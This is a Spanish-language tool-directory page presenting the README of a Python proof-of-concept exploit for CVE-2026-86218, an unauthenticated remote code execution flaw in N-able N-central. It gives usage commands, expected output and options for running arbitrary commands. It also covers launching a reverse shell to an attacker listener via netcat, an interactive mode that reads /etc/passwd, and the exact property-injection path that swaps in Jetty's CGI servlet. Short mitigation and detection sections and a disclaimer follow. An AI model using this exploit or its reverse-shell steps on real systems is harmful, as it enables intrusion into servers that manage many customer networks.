Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-86218 — Prueba de concepto en Python 3 para CVE-2026-86218, un RCE pre-auth en N-able N-central mediante una condición de carrera multipart de Struts, con ejecución de comandos y soporte para reverse shell. | Kitploit
Herramientas/GitHubGitHub/super-meuw/cve-2026-86218
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubsuper-meuw/cve-2026-86218

CVE-2026-86218

Prueba de concepto en Python 3 para CVE-2026-86218, un RCE pre-auth en N-able N-central mediante una condición de carrera multipart de Struts, con ejecución de comandos y soporte para reverse shell.

hace 0 díasAún no revisado
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-86218 - Exploit de RCE Pre-Auth en N-able N-central

Descripción general

Este es un exploit de prueba de concepto en Python 3 para CVE-2026-86218, una vulnerabilidad crítica de ejecución remota de código previa a la autenticación en N-able N-central.

Detalles de la vulnerabilidad:

  • CVE: CVE-2026-86218
  • Puntuación CVSS: 10.0 (Crítica)
  • CWE: CWE-96 (Inyección de código estático)
  • Versiones afectadas: N-central < 2026.3.1.14
  • Vector de ataque: Red (No autenticado)

Descripción de la vulnerabilidad

N-able N-central utiliza un formulario Struts con ámbito de sesión en una acción no autenticada (/remoteControlAction.do). Dos solicitudes multipart concurrentes pueden provocar una condición de carrera en el manejador multipart del formulario y exponer la configuración activa de Jetty a la población de propiedades de Commons BeanUtils. Esto permite a un atacante:

  1. Reemplazar un contenedor de servlet perezoso de N-central (por ejemplo, LogRetrieval) con el servlet CGI incluido en Jetty
  2. Configurar el servlet CGI para ejecutar comandos arbitrarios mediante /bin/sh -s
  • Enviar comandos a través del mapeo de URL del servlet reemplazado
  • Requisitos

    root@kitploit:~
    pip install requests
    

    Uso

    Sintaxis básica

    root@kitploit:~
    python3 CVE-2026-86218.py -t <target_url> [options]
    

    Opciones

    OpciónDescripción
    -t, --targetURL de N-central objetivo (por ejemplo, https://192.168.1.100)
    -c, --commandComando único a ejecutar
    -i, --interactiveModo de comando interactivo
    --lhostIP del listener para reverse shell
    --lportPuerto del listener (predeterminado: 4444)
    --servletServlet a reemplazar: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet
    --checkComprobar si el objetivo es vulnerable
    --no-verify-sslDeshabilitar la verificación del certificado SSL
    --timeoutTiempo de espera de la solicitud (predeterminado: 30s)
    --race-delayRetardo de la condición de carrera (predeterminado: 0.35s)
    -v, --verboseHabilitar salida detallada

    Ejemplos

    1. Comprobar si el objetivo es vulnerable

    root@kitploit:~
    python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
    

    Salida esperada:

    root@kitploit:~
    [*] Checking target version at https://192.168.1.100
    [+] N-central 2026.3.1.13 is vulnerable
    

    2. Ejecutar un único comando

    root@kitploit:~
    python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
    

    Salida esperada:

    root@kitploit:~
    ╔══════════════════════════════════════════════════════════════════╗
    ║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
    ║  Version: 1.0.0                                                ║
    ║  CVSS: 10.0 (Critical)                                         ║
    ╚══════════════════════════════════════════════════════════════════╝
    [*] Checking target version at https://192.168.1.100
    [+] N-central 2026.3.1.13 is vulnerable
    [*] Obtaining unauthenticated session...
    [*] Performing multipart race condition...
    [*] Establishing connection for race condition...
    [*] Sending helper request to install handler...
    [*] Sending mutation fields...
    [+] Race condition completed successfully
    [*] Executing command: id
    [+] Command executed successfully
    uid=998(nable) gid=998(nable) groups=998(nable)
    

    3. Reverse Shell

    Iniciar el listener primero:

    root@kitploit:~
    nc -lvnp 4444
    

    Ejecutar el exploit:

    root@kitploit:~
    python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
    

    Salida esperada:

    root@kitploit:~
    [*] Preparing reverse shell to 10.10.14.5:4444
    [!] Starting reverse shell...
    [!] Make sure to have a listener running: nc -lvnp 4444
    [+] Reverse shell payload sent successfully!
    [+] Check your listener for incoming connection
    

    Salida del listener:

    root@kitploit:~
    listening on [any] 4444 ...
    connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
    id
    uid=998(nable) gid=998(nable) groups=998(nable)
    

    4. Modo interactivo

    root@kitploit:~
    python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
    

    Sesión interactiva:

    root@kitploit:~
    ╔══════════════════════════════════════════════════════════════════╗
    ║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
    ║  Version: 1.0.0                                                ║
    ║  CVSS: 10.0 (Critical)                                         ║
    ╚══════════════════════════════════════════════════════════════════╝
    [*] Checking target version at https://192.168.1.100
    [+] N-central 2026.3.1.13 is vulnerable
    [*] Obtaining unauthenticated session...
    [*] Performing multipart race condition...
    [+] Race condition completed successfully
    [*] Entering interactive command mode
    [*] Type 'exit' or 'quit' to leave
    [*] Type 'shell' for reverse shell setup
    
    ncentral> id
    uid=998(nable) gid=998(nable) groups=998(nable)
    
    ncentral> cat /etc/passwd | head -5
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    ...
    
    ncentral> shell
    Listener IP: 10.10.14.5
    Listener Port: 4444
    [*] Preparing reverse shell to 10.10.14.5:4444
    [+] Reverse shell payload sent successfully!
    
    ncentral> exit
    

    5. Usar un servlet diferente

    root@kitploit:~
    # Use FileTransfer servlet (more disruptive)
    python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
    

    Opciones de servlet

    ServletDescripciónImpacto
    LogRetrievalEndpoint de recuperación de logs (predeterminado)Menos disruptivo, logs no disponibles hasta el reinicio
    FileTransferEndpoint de transferencia de archivosInterrumpe la funcionalidad de transferencia de archivos
    AutomationManagerDownloadServletDescarga del gestor de automatizaciónRequiere el puerto de la interfaz de gestión (8443)

    Cómo funciona

    Flujo de explotación

    1. Comprobación de versión: Consultar /remoteControlAction.do para extraer la versión de la página de error
    2. Adquisición de sesión: Obtener un JSESSIONID no autenticado
    3. Condición de carrera:
      • Enviar una solicitud multipart lenta que se pausa durante el análisis
      • Mientras está pausada, enviar una solicitud auxiliar para instalar el manejador en el formulario compartido
      • Reanudar la solicitud lenta con campos de inyección de propiedades de BeanUtils
    4. Reemplazo de servlet: Reemplazar LogRetrieval con el servlet CGI de Jetty
    5. Ejecución de comandos: Enviar comandos a través del endpoint CGI

    Detalles técnicos

    La vulnerabilidad explota una condición de carrera en el manejo de formularios multipart de Struts:

    • Struts almacena un objeto de formulario por sesión HTTP
    • Al inicio de una solicitud multipart, Struts elimina el manejador multipart del formulario
    • Una solicitud lenta se pausa mientras Struts todavía está leyendo el cuerpo
    • Una solicitud auxiliar finaliza e instala su manejador inicializado
    • Cuando la solicitud lenta continúa, BeanUtils sigue los nombres de campo manipulados a través del manejador
    • Estos campos navegan hasta el WebAppContext de Jetty y reemplazan el contenedor del servlet

    Los campos de mutación utilizan rutas de propiedades JavaBean:

    root@kitploit:~
    multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
    

    Esto recorre: manejador multipart → contexto del servlet → classloader → WebAppContext → manejador de servlets → contenedor específico

    Mitigación

    1. Aplicar el parche inmediatamente: Actualizar a N-central 2026.3.1.14 o posterior
    2. Restringir el acceso: Limitar el acceso entrante a la consola de N-central
    3. Segmentación de red: Colocar N-central detrás de una VPN o lista de IP permitidas
    4. Monitorizar los logs: Buscar actividad sospechosa en la API y creación de usuarios

    Detección

    Indicadores en logs

    • Solicitudes inusuales a /remoteControlAction.do
    • Solicitudes multipart con nombres de campo inusuales
    • Actividad relacionada con CGI en endpoints de LogRetrieval
    • Creación inesperada de cuentas de usuario

    Indicadores de red

    • Múltiples solicitudes rápidas al mismo endpoint
    • Cargas útiles multipart grandes
    • Conexiones desde IP de origen inusuales

    Referencias

    • N-able Security Advisory
    • N-able Hotfix 4 Release Notes
    • Rapid7 Metasploit Module
    • Huntress Blog Post
    • CISA KEV Catalog

    Descargo de responsabilidad

    Este exploit se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado de este exploit contra sistemas que no posee o para los que no tiene permiso de prueba es ilegal y poco ético.

    Obtenga siempre la autorización adecuada antes de realizar actividades de pruebas de penetración.

    Créditos

    • Descubrimiento de la vulnerabilidad: N-able Security Team
    • Módulo de Metasploit: sfewer-r7 (Rapid7)
    • Desarrollo del exploit: Basado en la investigación de Rapid7 y avisos públicos
    Descargar herramienta